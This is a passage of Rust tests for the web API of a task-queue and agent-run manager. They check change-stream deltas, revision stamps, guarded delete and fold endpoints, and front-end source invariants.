21175            Some(PANEL_CSP),
21176            "the sibling route must carry the same policy as the asset route"
21177        );
21178
21179        // The original spelling keeps working: HEAD on it is how the front end
21180        // decides whether to mount a frame at all.
21181        assert_eq!(
21182            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21183            200
21184        );
21185    }
21186
21187    #[test]
21188    fn delta_stamps_cover_add_update_remove_and_noop() {
21189        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21190        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21191        let delta = diff_stamps(&before, &after, 42);
21192        assert_eq!(delta.base, 42);
21193        assert_eq!(delta.changed, ["b", "c"]);
21194        assert_eq!(delta.removed, ["a"]);
21195        let same = diff_stamps(&after, &after, 43);
21196        assert!(same.changed.is_empty() && same.removed.is_empty());
21197        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21198        let nanos: Stamps = [("b".into(), (2, 20))].into();
21199        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21200        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21201        assert_eq!(stamps_revision(&Stamps::new()), 0);
21202    }
21203
21204    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21205        std::fs::create_dir_all(home.join("runs")).unwrap();
21206        Arc::new(
21207            Ui::new(
21208                Queue::at(home.join("queue")),
21209                Questions::at(home.join("questions")),
21210                Talks::at(home.join("talks")),
21211                home.join("runs"),
21212                home.to_owned(),
21213                PathBuf::from("/repo/magi"),
21214            )
21215            .with_worktrees_root(home.join("wt")),
21216        )
21217    }
21218
21219    #[test]
21220    fn monitor_scan_isolates_store_failures_and_recovers() {
21221        let home = TempDir::new().unwrap();
21222        let ui = delta_test_ui(home.path());
21223        std::fs::create_dir_all(ui.questions.root()).unwrap();
21224        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21225        let before = monitor_scan(&ui, None);
21226        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21227        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21228        std::fs::create_dir_all(ui.talks.root()).unwrap();
21229        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21230        let during = monitor_scan(&ui, Some(before.clone()));
21231        assert_eq!(during.0.2, before.0.2);
21232        assert_ne!(during.0.3, before.0.3);
21233        assert!(during.1[2].contains_key("new"));
21234        std::fs::remove_file(ui.questions.root()).unwrap();
21235        let after = monitor_scan(&ui, Some(during));
21236        assert_eq!(after.0.2, 0);
21237        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21238        // A failed first scan also permits healthy stores to publish.
21239        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21240        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21241    }
21242
21243    #[tokio::test]
21244    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21245        let home = TempDir::new().unwrap();
21246        let ui = delta_test_ui(home.path());
21247        let mut task = Task::new(
21248            "stream task".into(),
21249            "text".into(),
21250            PathBuf::from("/repo"),
21251            Source::Human,
21252        );
21253        ui.queue.put(&mut task).unwrap();
21254        let response = events(State(ui.clone())).await.into_response();
21255        let mut stream = response.into_body().into_data_stream();
21256        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21257            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21258                .await
21259                .unwrap()
21260                .unwrap()
21261                .unwrap();
21262            let text = String::from_utf8(chunk.to_vec()).unwrap();
21263            let data = text
21264                .lines()
21265                .find_map(|line| {
21266                    line.strip_prefix("data: ")
21267                        .or_else(|| line.strip_prefix("data:"))
21268                })
21269                .unwrap();
21270            serde_json::from_str(data).unwrap()
21271        }
21272        let initial = change(&mut stream).await;
21273        assert!(initial.get("queue_delta").is_none());
21274        task.instruction.push_str(" changed");
21275        ui.queue.put(&mut task).unwrap();
21276        let updated = change(&mut stream).await;
21277        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21278        assert_eq!(
21279            updated["queue_delta"]["changed"],
21280            serde_json::json!([task.id])
21281        );
21282        assert_eq!(
21283            updated["queue_rev"].as_u64(),
21284            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21285        );
21286        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21287        let removed = change(&mut stream).await;
21288        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21289        assert_eq!(
21290            removed["queue_delta"]["removed"],
21291            serde_json::json!([task.id])
21292        );
21293    }
21294
21295    #[tokio::test]
21296    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21297        let home = TempDir::new().unwrap();
21298        let ui = delta_test_ui(home.path());
21299        let queue = ui.queue.clone();
21300        let query = |ids: Option<&str>| {
21301            Query(ListQuery {
21302                limit: Some(2),
21303                ids: ids.map(str::to_owned),
21304            })
21305        };
21306        let mut root = Task::new(
21307            "root".into(),
21308            "instruction".into(),
21309            PathBuf::from("/repo"),
21310            Source::Human,
21311        );
21312        queue.put(&mut root).unwrap();
21313        let mut blocked = Task::new(
21314            "blocked".into(),
21315            "instruction".into(),
21316            PathBuf::from("/repo"),
21317            Source::Human,
21318        );
21319        blocked.block(vec![root.id.clone()], None);
21320        queue.put(&mut blocked).unwrap();
21321        let whole =
21322            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21323                .unwrap();
21324        let subset = serde_json::to_value(
21325            queue_list(State(ui.clone()), query(Some(&root.id)))
21326                .await
21327                .unwrap()
21328                .0,
21329        )
21330        .unwrap();
21331        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21332        let blockers = serde_json::to_value(
21333            queue_list(State(ui.clone()), query(Some("")))
21334                .await
21335                .unwrap()
21336                .0,
21337        )
21338        .unwrap();
21339        assert_eq!(blockers.as_array().unwrap().len(), 1);
21340        assert_eq!(blockers[0]["id"], blocked.id);
21341        assert_eq!(
21342            blockers[0]["waits_on"],
21343            whole
21344                .as_array()
21345                .unwrap()
21346                .iter()
21347                .find(|row| row["id"] == blocked.id)
21348                .unwrap()["waits_on"]
21349        );
21350
21351        for id in [
21352            "20260902-140501-aaaa",
21353            "20260902-140502-bbbb",
21354            "20260902-140503-cccc",
21355        ] {
21356            write_run(&ui.runs, id, RunStatus::Merged);
21357        }
21358        let old = serde_json::to_value(
21359            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21360                .await
21361                .unwrap()
21362                .0,
21363        )
21364        .unwrap();
21365        assert!(
21366            old.as_array().unwrap().is_empty(),
21367            "older updates must not enter the window"
21368        );
21369        let newest = serde_json::to_value(
21370            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21371                .await
21372                .unwrap()
21373                .0,
21374        )
21375        .unwrap();
21376        assert_eq!(newest.as_array().unwrap().len(), 1);
21377        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21378
21379        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21380        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21381        let talks = serde_json::to_value(
21382            talks_list(
21383                State(ui.clone()),
21384                query(Some("20260905-000000-d4e5")),
21385                header::HeaderMap::new(),
21386            )
21387            .await
21388            .unwrap()
21389            .0,
21390        )
21391        .unwrap();
21392        assert_eq!(talks.as_array().unwrap().len(), 1);
21393        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21394        assert_eq!(
21395            serde_json::to_value(
21396                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21397                    .await
21398                    .unwrap()
21399                    .0
21400            )
21401            .unwrap(),
21402            serde_json::json!([])
21403        );
21404    }
21405
21406    #[tokio::test]
21407    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21408    async fn delta_payload_benchmark() {
21409        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21410        let ui = delta_test_ui(&home);
21411        let query = |ids: Option<String>| {
21412            Query(ListQuery {
21413                limit: Some(50),
21414                ids,
21415            })
21416        };
21417        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21418        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21419        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21420            .await
21421            .unwrap()
21422            .0;
21423        let queue_id = queue
21424            .iter()
21425            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21426            .unwrap_or(&queue[0])
21427            .task
21428            .id
21429            .clone();
21430        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21431            .await
21432            .unwrap()
21433            .0;
21434        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21435            .await
21436            .unwrap()
21437            .0;
21438        let talks_delta = talks_list(
21439            State(ui.clone()),
21440            query(Some(talks[0].id.clone())),
21441            header::HeaderMap::new(),
21442        )
21443        .await
21444        .unwrap()
21445        .0;
21446        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21447        eprintln!(
21448            "DELTA_PAYLOAD {}",
21449            serde_json::json!({
21450                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21451                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21452                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21453                "counts": [queue.len(), runs.len(), talks.len()],
21454                "blocked": queue_delta.len() - 1,
21455            })
21456        );
21457    }
21458
21459    #[test]
21460    fn runs_revision_moves_when_deleting_an_older_run() {
21461        let temp = TempDir::new().expect("tempdir");
21462        let runs = temp.path().join("runs");
21463        std::fs::create_dir_all(&runs).expect("create runs dir");
21464
21465        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21466
21467        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21468        std::thread::sleep(Duration::from_millis(10));
21469        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21470
21471        let rev_before = runs_revision(&runs);
21472        assert!(rev_before > 0);
21473
21474        let old_dir = runs.join("20260901-100000-old1");
21475        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21476
21477        let rev_after = runs_revision(&runs);
21478        assert_ne!(
21479            rev_before, rev_after,
21480            "deleting an older run must change the revision so other clients see the deletion"
21481        );
21482    }
21483
21484    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21485    /// process-global home entirely — `RunState::save` writes through
21486    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21487    /// (see `tests::home_lock` in the integration suite for why).
21488    fn write_state(runs: &FsPath, state: &RunState) {
21489        let dir = runs.join(&state.id);
21490        std::fs::create_dir_all(&dir).expect("run dir");
21491        std::fs::write(
21492            dir.join("run.json"),
21493            serde_json::to_string_pretty(state).expect("serialize run"),
21494        )
21495        .expect("write run.json");
21496    }
21497
21498    /// A seat starting or finishing is a write to `run.json` like any other,
21499    /// so it moves the same revision the change stream already watches —
21500    /// nothing new for `/api/events` to learn, but the property this feature
21501    /// depends on to reach the phone without a poll.
21502    #[test]
21503    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21504        let temp = TempDir::new().expect("tempdir");
21505        let runs = temp.path().join("runs");
21506        std::fs::create_dir_all(&runs).expect("create runs dir");
21507        let mut state = RunState::new(
21508            PathBuf::from("/repo/magi"),
21509            "main".to_owned(),
21510            "0123456789abcdef".to_owned(),
21511            "task".to_owned(),
21512            Config::default(),
21513        );
21514        state.id = "20260902-100000-c0de".to_owned();
21515        write_state(&runs, &state);
21516
21517        let rev_idle = runs_revision(&runs);
21518        std::thread::sleep(Duration::from_millis(10));
21519        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21520        write_state(&runs, &state);
21521        let rev_started = runs_revision(&runs);
21522        assert_ne!(
21523            rev_idle, rev_started,
21524            "a seat starting must move the revision"
21525        );
21526
21527        std::thread::sleep(Duration::from_millis(10));
21528        state.seat_finished("judge-1");
21529        write_state(&runs, &state);
21530        let rev_finished = runs_revision(&runs);
21531        assert_ne!(
21532            rev_started, rev_finished,
21533            "and clearing it again must move the revision a second time"
21534        );
21535    }
21536
21537    #[tokio::test]
21538    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21539        // `TaskView` flattens `Task`, so this is really asserting that
21540        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21541        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21542        // never touched web.rs, so nothing here caught it if it had.
21543        let fx = Fixture::start().await;
21544        let q = fx.queue();
21545
21546        let mut t = Task::new(
21547            "Task".to_owned(),
21548            "Instruction".to_owned(),
21549            PathBuf::from("/repo"),
21550            Source::Human,
21551        );
21552        t.block(
21553            vec!["20260101-000000-dead".to_owned()],
21554            Some("waiting on Task 1".to_owned()),
21555        );
21556        t.answers.push(crate::queue::AnsweredQuestion {
21557            question: "Which backend?".to_owned(),
21558            answer: "SQLite".to_owned(),
21559        });
21560        q.put(&mut t).expect("put t");
21561
21562        let res = fx.get("/api/queue").await;
21563        assert_eq!(res.status, 200);
21564        let list = res.json();
21565        let view = list
21566            .as_array()
21567            .expect("array")
21568            .iter()
21569            .find(|v| v["id"] == t.id)
21570            .expect("task in list");
21571        assert_eq!(view["status_str"], "blocked");
21572        assert_eq!(
21573            view["blocked_by"],
21574            serde_json::json!(["20260101-000000-dead"])
21575        );
21576        assert_eq!(view["block_reason"], "waiting on Task 1");
21577        assert_eq!(view["answers"][0]["question"], "Which backend?");
21578        assert_eq!(view["answers"][0]["answer"], "SQLite");
21579
21580        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21581        // but never `answers` - that is a settled decision, not state
21582        // describing the current block, so it survives.
21583        let res = fx
21584            .post(&format!("/api/queue/{}/hold", t.short()), None)
21585            .await;
21586        assert_eq!(res.status, 200);
21587        let held = res.json();
21588        assert_eq!(held["status_str"], "held");
21589        assert_eq!(held["blocked_by"], serde_json::json!([]));
21590        assert!(held["block_reason"].is_null());
21591        assert_eq!(held["answers"][0]["answer"], "SQLite");
21592    }
21593
21594    #[tokio::test]
21595    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21596        let fx = Fixture::start().await;
21597        let q = fx.queue();
21598        let mk = |title: &str| {
21599            Task::new(
21600                title.to_owned(),
21601                "Instruction".to_owned(),
21602                PathBuf::from("/repo"),
21603                Source::Human,
21604            )
21605        };
21606        let mut root = mk("root");
21607        root.hold_manual(Some("waiting".to_owned()));
21608        q.put(&mut root).unwrap();
21609        let mut mid = mk("mid");
21610        mid.block(vec![root.id.clone()], None);
21611        q.put(&mut mid).unwrap();
21612        let mut leaf = mk("leaf");
21613        leaf.block(vec![mid.id.clone()], None);
21614        q.put(&mut leaf).unwrap();
21615
21616        let list = fx.get("/api/queue").await.json();
21617        let find = |id: &str| {
21618            list.as_array()
21619                .unwrap()
21620                .iter()
21621                .find(|v| v["id"] == id)
21622                .unwrap()
21623                .clone()
21624        };
21625        let leaf_view = find(&leaf.id);
21626        assert_eq!(
21627            leaf_view["waits_on"],
21628            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21629        );
21630        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21631        assert_eq!(
21632            find(&mid.id)["waits_on"],
21633            serde_json::json!([format!("{} (held)", root.short())])
21634        );
21635        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21636    }
21637
21638    #[tokio::test]
21639    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21640        let fx = Fixture::start().await;
21641        let q = fx.queue();
21642
21643        // 1. A queued task with runs attached can be deleted.
21644        let mut t1 = Task::new(
21645            "Task 1".to_owned(),
21646            "Instruction 1".to_owned(),
21647            PathBuf::from("/repo"),
21648            Source::Human,
21649        );
21650        let run_id = "20260901-000000-r111";
21651        t1.runs.push(run_id.to_owned());
21652        write_run(&fx.runs(), run_id, RunStatus::Merged);
21653        q.put(&mut t1).expect("put t1");
21654
21655        // Delete by short id
21656        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21657        assert_eq!(res.status, 204);
21658        assert!(res.body.is_empty(), "204 No Content has no body");
21659        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21660        assert!(
21661            fx.runs().join(run_id).exists(),
21662            "run directory must not be deleted when its task is deleted"
21663        );
21664
21665        // 2. A task a live daemon is running is refused with 409.
21666        let mut t2 = Task::new(
21667            "Task 2".to_owned(),
21668            "Instruction 2".to_owned(),
21669            PathBuf::from("/repo"),
21670            Source::Human,
21671        );
21672        t2.status = TaskStatus::Running;
21673        q.put(&mut t2).expect("put t2");
21674        let mut beat = crate::daemon::Status::new();
21675        beat.current = vec![crate::daemon::Current {
21676            worker: None,
21677            task: t2.id.clone(),
21678            run: "20260901-000000-r222".to_owned(),
21679        }];
21680        beat.updated_at = jiff::Timestamp::now();
21681        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21682            .expect("publish a heartbeat");
21683        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21684        assert_eq!(res.status, 409);
21685        assert!(
21686            res.json()["error"]
21687                .as_str()
21688                .unwrap()
21689                .contains("live daemon")
21690        );
21691        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21692
21693        // 3. The same `running` status and an orphaned lock, with no daemon
21694        // behind either, is a leftover and deletable. Before this the phone
21695        // refused it for good: the status never changes on its own and
21696        // nothing drops a lock whose process is gone.
21697        // The daemon is killed: the file stays, the heartbeat stops.
21698        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21699        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21700            .expect("leave a stale heartbeat");
21701        let mut t3 = Task::new(
21702            "Task 3".to_owned(),
21703            "Instruction 3".to_owned(),
21704            PathBuf::from("/repo"),
21705            Source::Human,
21706        );
21707        t3.status = TaskStatus::Running;
21708        q.put(&mut t3).expect("put t3");
21709        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21710        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21711        assert_eq!(res.status, 204);
21712        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21713        assert!(
21714            q.claim(&t3.id).is_ok(),
21715            "the stale lock went with it, so the id is claimable again"
21716        );
21717
21718        // 4. Missing id returns 404
21719        let res = fx.delete("/api/queue/nonexistent").await;
21720        assert_eq!(res.status, 404);
21721    }
21722
21723    #[tokio::test]
21724    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21725        let fx = Fixture::start().await;
21726        let runs = fx.runs();
21727
21728        // 1. Finished and folded run can be deleted along with artifacts
21729        let run_id = "20260901-000000-fold";
21730        let mut state = RunState::new(
21731            PathBuf::from("/repo"),
21732            "main".to_owned(),
21733            "abc".to_owned(),
21734            "instruction".to_owned(),
21735            Config::default(),
21736        );
21737        state.id = run_id.to_owned();
21738        state.status = RunStatus::Merged;
21739        state.candidates.push(crate::run::Candidate {
21740            index: 0,
21741            label: 'A',
21742            agent: "a".to_owned(),
21743            branch: "b".to_owned(),
21744            worktree: PathBuf::from("/w"),
21745            summary: String::new(),
21746            stat: String::new(),
21747            files: 1,
21748            commits: 1,
21749            empty: false,
21750            failed: None,
21751            verified_noop: None,
21752            duration_ms: 0,
21753            folded: true,
21754        });
21755        let dir = runs.join(run_id);
21756        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21757        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21758            .expect("write artifact");
21759        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21760            .expect("write run.json");
21761
21762        // Delete by short id
21763        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21764        assert_eq!(res.status, 204);
21765        assert!(res.body.is_empty(), "204 has no body");
21766        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21767
21768        // 2. A run a live daemon is working on is refused with 409. The
21769        // heartbeat is what makes it refusable: an unfinished run with no
21770        // daemon behind it is a leftover from a killed process, and case 1
21771        // above would otherwise be impossible to tell apart from this one.
21772        let run_running = "20260901-000000-rung";
21773        write_run(&runs, run_running, RunStatus::Prep);
21774        let mut beat = crate::daemon::Status::new();
21775        beat.current = vec![crate::daemon::Current {
21776            worker: None,
21777            task: "20260901-000000-task".to_owned(),
21778            run: run_running.to_owned(),
21779        }];
21780        beat.updated_at = jiff::Timestamp::now();
21781        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21782            .expect("publish a heartbeat");
21783        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21784        assert_eq!(res.status, 409);
21785        assert!(
21786            res.json()["error"]
21787                .as_str()
21788                .unwrap()
21789                .contains("live daemon"),
21790            "the refusal must say who is holding it"
21791        );
21792        assert!(
21793            runs.join(run_running).exists(),
21794            "a run in flight keeps its directory"
21795        );
21796
21797        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21798        let run_unfolded = "20260901-000000-unfd";
21799        let mut state2 = RunState::new(
21800            PathBuf::from("/repo"),
21801            "main".to_owned(),
21802            "abc".to_owned(),
21803            "instruction".to_owned(),
21804            Config::default(),
21805        );
21806        state2.id = run_unfolded.to_owned();
21807        state2.status = RunStatus::Ready;
21808        state2.candidates.push(crate::run::Candidate {
21809            index: 0,
21810            label: 'A',
21811            agent: "a".to_owned(),
21812            branch: "b".to_owned(),
21813            worktree: PathBuf::from("/w"),
21814            summary: String::new(),
21815            stat: String::new(),
21816            files: 1,
21817            commits: 1,
21818            empty: false,
21819            failed: None,
21820            verified_noop: None,
21821            duration_ms: 0,
21822            folded: false,
21823        });
21824        let dir2 = runs.join(run_unfolded);
21825        std::fs::create_dir_all(&dir2).expect("create dir2");
21826        std::fs::write(
21827            dir2.join("run.json"),
21828            serde_json::to_string(&state2).unwrap(),
21829        )
21830        .expect("write run.json");
21831
21832        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21833        assert_eq!(res.status, 409);
21834        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21835        assert!(dir2.exists(), "unfolded run directory is kept");
21836
21837        // 4. Missing id returns 404
21838        let res = fx.delete("/api/runs/nonexistent").await;
21839        assert_eq!(res.status, 404);
21840    }
21841
21842    /// The queue tiles on the Stats tab must render even on a home with no
21843    /// runs at all: queue state is not derived from run history, so hiding
21844    /// the whole dashboard body behind "no runs yet" would drop the one
21845    /// thing this tab promises unconditionally (queued/running/held/done).
21846    /// A DOM-level test would need a browser this suite does not have, so
21847    /// this pins the same invariant textually: `renderStatsQueue` is called
21848    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21849    /// block that gates the run-derived panels.
21850    #[test]
21851    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21852        let start = APP_JS
21853            .find("function renderStats() {")
21854            .expect("renderStats");
21855        let end = start
21856            + APP_JS[start..]
21857                .find("function statsTile(")
21858                .expect("the next top-level function");
21859        let body = &APP_JS[start..end];
21860
21861        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21862        let gate_end = gate_start
21863            + body[gate_start..]
21864                .find("}\n  renderStatsQueue")
21865                .expect("the gate's own closing brace, right before the unconditional call");
21866        let gated = &body[gate_start..gate_end];
21867
21868        assert_eq!(
21869            body.matches("renderStatsQueue(").count(),
21870            1,
21871            "renderStats must call renderStatsQueue exactly once: {body}"
21872        );
21873        assert!(
21874            !gated.contains("renderStatsQueue"),
21875            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21876             run-derived panels on an empty run history - the queue panel has to render \
21877             regardless: {gated}"
21878        );
21879    }
21880
21881    #[test]
21882    fn web_ui_delete_contract_in_front_end() {
21883        // 1. API block has both delete endpoints
21884        assert!(APP_JS.contains("deleteRun:"));
21885        assert!(APP_JS.contains("deleteTask:"));
21886
21887        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21888        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21889            ..APP_JS.find("function renderRuns").unwrap()];
21890        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21891
21892        // 3. Run detail has delete entry and reasons
21893        assert!(APP_JS.contains("renderRunDelete"));
21894        assert!(APP_JS.contains("runDeleteReason"));
21895        assert!(APP_JS.contains("magi fold"));
21896        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21897
21898        // 4. Two-step delete arming and focus on Cancel
21899        assert!(APP_JS.contains("cancel.focus"));
21900        assert!(APP_JS.contains("armedRunDelete"));
21901        assert!(APP_JS.contains("renderTaskDeleteBox"));
21902        assert!(APP_JS.contains("armed${cap(key)}"));
21903
21904        // 5. Running task has disabled delete
21905        assert!(APP_JS.contains("disabled: status === \"running\""));
21906    }
21907
21908    /// Every element a run card's updater reaches for must be in the `refs`
21909    /// the builder handed it.
21910    ///
21911    /// `createRunCard` builds its elements, appends them to the card, and then
21912    /// lists them again in `row.refs`. That second list is the one the updater
21913    /// uses, and nothing connects the two - an element can be built, appended
21914    /// and rendered, and still be missing from `refs`. `superseded` was, for
21915    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21916    /// exception took `syncList` with it, and the deck showed
21917    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21918    /// line is computed before the cards, which is why the failure looked like
21919    /// a server that had lost its runs rather than a front end that had
21920    /// stopped rendering them.
21921    ///
21922    /// A `cargo test` cannot execute the front end, so this reads the two
21923    /// halves out of the source and compares them as sets. It is not a check
21924    /// on the wording of either list: adding an element, renaming one, or
21925    /// reordering them all keeps this passing, and only using one the builder
21926    /// never published fails it.
21927    #[test]
21928    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21929        let build = APP_JS
21930            .find("function createRunCard")
21931            .expect("createRunCard exists");
21932        let update = APP_JS
21933            .find("function updateRunCard")
21934            .expect("updateRunCard exists");
21935        let end = APP_JS
21936            .find("function renderRuns")
21937            .expect("renderRuns exists");
21938
21939        // The builder's published set: the object literal assigned to `refs`.
21940        let builder = &APP_JS[build..update];
21941        let open = builder.find("refs = {").expect("createRunCard sets refs");
21942        let literal = &builder[open + "refs = {".len()..];
21943        let close = literal.find('}').expect("the refs literal is closed");
21944        let published: HashSet<&str> = literal[..close]
21945            .split(',')
21946            // `name` and `name: value` both bind `name`.
21947            .filter_map(|entry| entry.split(':').next())
21948            .map(str::trim)
21949            .filter(|name| !name.is_empty())
21950            .collect();
21951        assert!(
21952            published.len() > 5,
21953            "the refs literal did not parse into names: {published:?}"
21954        );
21955
21956        // What the updaters reach for: every `r.<name>`, where `r` is the
21957        // `const r = row.refs` alias both functions open with.
21958        let mut used: Vec<&str> = Vec::new();
21959        let updaters = &APP_JS[update..end];
21960        for (at, _) in updaters.match_indices("r.") {
21961            // `r` must be the whole identifier, not the tail of another one
21962            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21963            let before = updaters[..at].chars().next_back();
21964            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21965                continue;
21966            }
21967            let rest = &updaters[at + 2..];
21968            let len = rest
21969                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21970                .unwrap_or(rest.len());
21971            if len > 0 {
21972                used.push(&rest[..len]);
21973            }
21974        }
21975        assert!(
21976            used.len() > 5,
21977            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21978        );
21979
21980        let missing: Vec<&str> = used
21981            .iter()
21982            .copied()
21983            .filter(|name| !published.contains(name))
21984            .collect();
21985        assert!(
21986            missing.is_empty(),
21987            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21988             never put in `refs` - every card will throw and the list will \
21989             render empty under a count line that says otherwise. Published: \
21990             {published:?}"
21991        );
21992    }
21993
21994    #[tokio::test]
21995    async fn folding_from_the_phone_reports_what_it_removed() {
21996        let fx = Fixture::start().await;
21997        let runs = fx.runs();
21998
21999        // A run with no candidates has nothing to fold, which is a 200 with an
22000        // honest count rather than an error: the operator asked for the trees
22001        // to be gone and they are.
22002        let id = "20260901-000000-fold";
22003        write_run(&runs, id, RunStatus::Stalled);
22004        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22005        assert_eq!(res.status, 200);
22006        assert_eq!(res.json()["removed_count"], 0);
22007        assert_eq!(res.json()["run"], id);
22008        assert!(
22009            runs.join(id).exists(),
22010            "a fold keeps the run's record; only the worktrees go"
22011        );
22012    }
22013
22014    #[tokio::test]
22015    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22016        let fx = Fixture::start().await;
22017        let runs = fx.runs();
22018        let wt = fx.home.path().join("wt").join("magi").join("dead");
22019        let id = "20260901-000000-dead";
22020        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22021        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22022        std::fs::create_dir_all(&wt).expect("worktree dir");
22023
22024        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22025        assert_eq!(res.status, 200, "{}", res.body);
22026        assert!(
22027            res.json()["removed_count"].as_u64().unwrap() > 0,
22028            "the worktree this build could not read a state for still went"
22029        );
22030        assert!(
22031            !runs.join(id).exists(),
22032            "an unreadable run has no candidate list to fold selectively, so \
22033             the whole record goes - same as `magi fold` on the CLI"
22034        );
22035    }
22036
22037    #[tokio::test]
22038    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22039        let fx = Fixture::start().await;
22040        let runs = fx.runs();
22041        let wt = fx.home.path().join("wt").join("magi").join("gone");
22042        let id = "20260901-000000-gone";
22043        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22044        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22045        std::fs::create_dir_all(&wt).expect("worktree dir");
